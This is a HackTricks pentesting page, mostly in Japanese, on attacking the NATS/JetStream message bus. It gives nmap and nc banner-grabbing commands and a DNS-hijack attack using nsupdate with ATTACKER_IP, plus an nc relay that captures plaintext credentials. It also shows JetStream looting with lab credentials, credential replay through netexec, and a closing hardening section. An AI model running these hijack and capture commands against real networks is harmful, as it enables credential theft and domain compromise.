4222 - Pentesting NATS / JetStream
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Basic Information
NATS はシンプルなテキストベースのプロトコルを使う高性能なメッセージバスです:サーバは TCP 接続直後に INFO { ... } JSON バナーを送信し、クライアントは CONNECT {"user":"USERNAME","pass":"PASSWORD",...} フレームで応答し、その後に任意の PING/PUB/SUB コマンドが続きます。JetStream は同じ TCP ポート(4222/tcp)上に永続化プリミティブ(Streams & Consumers)を追加します。TLS と認証は任意のため、多くの内部展開では plaintext AUTH が使われています。
- Default port: 4222/tcp (4223+ for clustered routes)
- Stock banner fields:
"version","auth_required","jetstream","max_payload","tls_required"
Enumeration
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
INFO frameは手動で取得することもできます:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
より詳細な操作のために、公式 CLI (Go ≥1.21) をインストールしてください:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Authentication failures immediately raise nats: Authorization Violation, so valid creds are required for any meaningful RPC.
Credential capture via DNS/service impersonation
- ブローカーのホスト名(例:
nats-svc.domain.local)に対する古い AD DNS エントリを特定する。レコードがNXDOMAINを返す場合、デフォルトの dynamic-update ACLs により低権限の domain user がそれを再作成できる。背景については AD DNS Records abuse を参照。 - ホスト名を攻撃者が制御する IP に登録する:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- 正当なバナーを一度ミラーしてから、それを接続してくるすべてのクライアントに対して再生します。NATS は最初に見た
INFO行を信頼するため、リスナーを介してパイプするだけで十分です:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- 内部クライアントがハイジャックされた名前を解決すると、プレーンテキストの
CONNECTフレームを送出し、user/passペアや各種テレメトリ(クライアント名、Go バージョン、プロトコルレベル)を含みます。INFO banner以降の情報は不要なため、ncだけでも秘密を収集できます。 - 長期の作業では、公式サーバーをローカルで実行します(
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V)。TRACE ログは既にユーザー名を表示しており、redaction helper を外すか、sniffing traffic with Wireshark によりフルパスワードが判明します。
JetStream の略奪とパスワード探索
Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
JetStream discovery は通常、次のようなパターンに従います:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Streaming チームはしばしば logs.auth のような subject に認証イベントを記録します。開発者が生の JSON を JetStream stream に永続化すると、ペイロードに平文の AD ユーザー名とパスワードが含まれることがあります:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
保持されたシークレットは netexec smb DC01 -u USER -p PASS -k を使用して Kerberos-only サービスに対してリプレイされ、ドメイン全体の侵害が可能になります。
ハードニングと検出
- Enforce TLS (
tls,tls_required, or mTLS viankey/creds). 暗号化がないと、INFO/CONNECT は認証情報を経路上の誰にでも leak します。 - Pinpoint who can update DNS – サービスレコードを専用アカウントに委任し、高価値ホスト名については Event IDs 257/252 を監査してください。scavenging alerts と組み合わせて、欠落した broker 名が黙って再取得されないようにします。
- Disable credential logging. subjects に公開する前にシークレットをスクラブし、JetStream の保持/寿命制限を設定し、
deny_delete=falseは信頼できるオペレータのみに適用してください。 - Monitor for banner anomalies – 短時間で切断される接続の繰り返し、認証タイムアウト、または承認済みテンプレートと一致しない INFO バナーは、偽装サーバを示唆します。
References
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

